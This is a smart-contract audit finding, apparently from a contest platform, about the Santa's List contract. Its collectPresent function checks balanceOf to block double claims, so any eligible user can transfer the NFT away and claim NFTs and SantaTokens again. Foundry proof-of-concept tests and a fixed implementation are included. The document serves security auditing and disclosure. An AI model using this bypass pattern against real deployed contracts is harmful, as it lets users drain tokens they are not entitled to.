Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`collectPresent` Uses `balanceOf` to Guard Against Double-Claiming, Allowing Bypass via NFT Transfer

Description

collectPresent intends to allow each eligible address to collect a present exactly once. It enforces this with a balanceOf check:

// SantasList.sol:148-168
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (balanceOf(msg.sender) > 0) { // guard: has the user already collected?
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE
&& s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

balanceOf returns the number of NFTs currently owned by an address. It drops to zero as soon as the token is transferred. There is no separate flag, mapping, or other record that persists after the NFT leaves the caller's wallet.

A user can therefore:

  1. Call collectPresent — receive their NFT (and SantaTokens if EXTRA_NICE).

  2. Transfer the NFT to any other address.

  3. Call collectPresent again — balanceOf(msg.sender) is now 0, the guard passes, and a new NFT (and SantaTokens) are issued.

  4. Repeat indefinitely, limited only by gas cost.


Impact

  • NICE users: Unlimited free NFT minting. Each round requires only a transfer transaction before re-calling collectPresent.

  • EXTRA_NICE users: Same unlimited NFT minting plus 1e18 SantaTokens per round. SantaTokens can subsequently be used to call buyPresent, further amplifying the exploit.

  • The protocol's one-present-per-person invariant is completely broken with no special access required — any eligible user can exploit this unilaterally.


Proof of Concept

Added to test/unit/SantasListTest.t.sol:

function testCollectPresentBypassViaTransfer() public {
// Setup: Santa marks user as EXTRA_NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address receiver = makeAddr("receiver");
vm.startPrank(user);
// Round 1: legitimate collection
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
// Transfer NFT away — balanceOf(user) drops to 0
santasList.transferFrom(user, receiver, 0);
assertEq(santasList.balanceOf(user), 0);
// Round 2: guard passes again, user collects a second time
santasList.collectPresent();
vm.stopPrank();
// User holds a second NFT and has doubled their SantaToken balance
assertEq(santasList.balanceOf(user), 1, "User holds second NFT");
assertEq(santasList.balanceOf(receiver), 1, "Receiver holds first NFT");
assertEq(santaToken.balanceOf(user), 2e18, "User doubled SantaToken balance");
}

Result: After one legitimate collection and one transfer, the user successfully collects a second NFT and 1e18 additional SantaTokens with no special permissions.


Root Cause

The protocol conflates token ownership (balanceOf) with claim history. These are not the same thing: ownership is a live, transferable state; claim history should be a permanent, non-transferable record. Using one to proxy the other creates the bypass.


Recommendation

Replace the balanceOf guard with a dedicated boolean mapping that is set on first claim and never cleared:

// Add to state variables
mapping(address person => bool collected) private s_hasCollected;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (s_hasCollected[msg.sender]) { // permanent record, unaffected by transfers
revert SantasList__AlreadyCollected();
}
s_hasCollected[msg.sender] = true; // set before any external interaction (CEI)
if (s_theListCheckedOnce[msg.sender] == Status.NICE
&& s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

Setting s_hasCollected[msg.sender] = true before calling _mintAndIncrement also eliminates the reentrancy vector in collectPresent for EXTRA_NICE users (the i_santaToken.mint call currently happens after _safeMint, violating CEI).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!